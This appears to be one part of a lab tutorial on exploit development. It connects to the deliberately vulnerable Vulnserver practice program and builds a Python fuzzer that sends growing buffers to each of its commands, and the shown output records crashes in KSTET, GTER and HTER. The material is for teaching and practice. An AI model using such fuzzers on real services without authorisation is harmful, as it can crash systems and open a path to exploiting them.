In this part of the tutorial, I’ll be searching for ways to crash the target service, working from a basic connection script to a fully-functional fuzzer that will uncover multiple exploitation targets. This phase of exploit development is similar to the enumeration portion of a penetration test; I’m exploring the software to find as much information as I can before I choose a route of exploitation.


<<< prev. [Table of Contents] .next >>>


First Contact

After starting my target and attacker machines, I load Immunity on the Win7 machine, and get vulnserver.exe loaded and running. (See Part 0 if you need a refresher.) Before I start flinging packets at the service, I should explore how it operates. I know that it listens on port 9999, so I connect with netcat to see what I can learn (I’ve preceded my input with #):

root@haxys:~/bof/pt1# nc 10.10.12.4 9999
Welcome to Vulnerable Server! Enter HELP for help.
# HELP
Valid Commands:
HELP
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
EXIT
# HELP STATS
Command specific help has not been implemented
# HELP
Command specific help has not been implemented
# STATS HELP
STATS VALUE NORMAL
# STATS ABCDEFG
STATS VALUE NORMAL
# STATS
UNKNOWN COMMAND
# RTIME
UNKNOWN COMMAND
# RTIME A
RTIME VALUE WITHIN LIMITS
# RTIME 5492873458927349572394875928374598273454
RTIME VALUE WITHIN LIMITS
# EXIT    
GOODBYE

After connecting, I received a banner welcoming me to the server. I sent the HELP command, and was given a list of commands. I tried sending HELP STATS to learn more about the STATS command, but it rejected my input. Next, I sent HELP_ (“HELP” with a following space), and once again it rejected my input. After this, I try a bunch of various commands before finally sending EXIT to disconnect.

From my observation, each command has a set response to a normal value, but won’t work unless a value is supplied. I could go through each of these commands, one by one, throwing ever-increasing buffers at it until it crashed, but that could take a long time. Instead, I’d like to build a fuzzer to find these crash-points quickly and efficiently.

Hello, server!

Before we run, we walk. My first step is to create a script that will connect to the target, send a payload, and check to see if it has crashed. This should do just fine:

#!/usr/bin/env python3.7
"""Vulnserver Connection Test."""
import socket

# Target IP and Port.
TARGET_ADDR = "10.10.12.4"
TARGET_PORT = 9999

try:
    print("[*] Connecting...")
    SOCKET = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    SOCKET.settimeout(3)
    SOCKET.connect((TARGET_ADDR, TARGET_PORT))
    REPLY = SOCKET.recv(1024)
    print(f"[>] Banner: {REPLY.decode().strip()}")
    print("[<] Buffer: STATS TEST")
    SOCKET.send("STATS TEST\r\n".encode())
    REPLY = SOCKET.recv(1024)
    print(f"[>] Response: {REPLY.decode().strip()}")
    SOCKET.send("EXIT\r\n".encode())
except socket.timeout:
    print("[!] Crash!")
finally:
    SOCKET.close()

I save the script as exploit_dev_00.py and make it executable with chmod +x exploit_dev_00.py. Running the script, I get the following output:

root@haxys:~/bof/pt1# ./exploit_dev_00.py
[*] Connecting...
[>] Banner: Welcome to Vulnerable Server! Enter HELP for help.
[<] Buffer: STATS TEST
[>] Response: STATS VALUE NORMAL

Nice! I’ve established a connection and successfully delivered a message.

Building a Fuzzer

The simplest approach to fuzzing this system would be to send ever-larger arguments to each known command, until a buffer overflow is found. I’ll design a script to do exactly that, pausing each time it perceives a crash, to allow me to restart the service:

#!/usr/bin/env python3.7
"""Vulnserver crash fuzzer."""
import socket

# Target IP and Port.
TARGET_ADDR = "10.10.12.4"
TARGET_PORT = 9999

# The various commands recognized by the server.
KNOWN_COMMANDS = [
    "STATS", "RTIME", "LTIME", "SRUN", "TRUN",
    "GMON", "GDOG", "KSTET", "GTER", "HTER",
    "LTER", "KSTAN", "HELP", "EXIT",
]

print("Vulnserver Crash Fuzzer")
print("Note: Restart server after each crash, then press Enter to continue.")
print("\nCrashes found:")

# Fuzzer Method:
# Test each buffer against each command. Any commands that crash are removed
# from the target pool. After every cycle, double the buffer. When there are
# no more commands, or the buffer is over 65,535 bytes, stop fuzzing.

# Start from buffer length 1. We double it after every pass.
BUFFER_SIZE = 1

while KNOWN_COMMANDS and BUFFER_SIZE <= 65535:
    WORKING_COMMANDS = list()
    for command in KNOWN_COMMANDS:
        payload = "A" * BUFFER_SIZE
        try:
            SOCKET = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            SOCKET.settimeout(3)
            SOCKET.connect((TARGET_ADDR, TARGET_PORT))
            SOCKET.recv(1024)  # Banner message.
            SOCKET.send(f"{command} {payload}\r\n".encode())
            SOCKET.recv(1024)  # Command response.
            SOCKET.send("EXIT\r\n".encode())
            WORKING_COMMANDS.append(command)
        except socket.timeout:
            print(
                f"[!] {command} crashed with {BUFFER_SIZE} bytes.",
                end="",
                flush=True,
            )
            input("")
        finally:
            SOCKET.close()
    BUFFER_SIZE *= 2
    KNOWN_COMMANDS = WORKING_COMMANDS

print("[*] Fuzzing complete!")

I ensure that vulnserver.exe is running, then start the fuzzer. Before long, it finds its first crash:

root@haxys:~/bof/pt1# ./exploit_dev_01.py
Vulnserver Crash Fuzzer
Note: Restart server after each crash, then press Enter to continue.

Crashes found:
[!] KSTET crashed with 64 bytes.

I return to the Win7 machine, and sure enough, the process has crashed:

first crash

To restart the service, I halt and reload it with Ctrl-F2, wait until it pauses, then hit F9 to tell the process to run.

Once the service has started again, I return to the script and hit Enter to tell it to continue fuzzing. I repeat this cycle after every crash, restarting the service every time it crashes, until the script is complete. The script discovers three results:

root@haxys:~/bof/pt1# ./exploit_dev_01.py
Vulnserver Crash Fuzzer
Note: Restart server after each crash, then press Enter to continue.

Crashes found:
[!] KSTET crashed with 64 bytes.
[!] GTER crashed with 256 bytes.
[!] HTER crashed with 2048 bytes.
[*] Fuzzing complete!

Excellent! Now I’ve got three potential targets for exploitation.

Conclusion

In this phase, we discovered three potential targets for attack. In the next phase, we’ll choose a target and probe it for weaknesses. How exciting!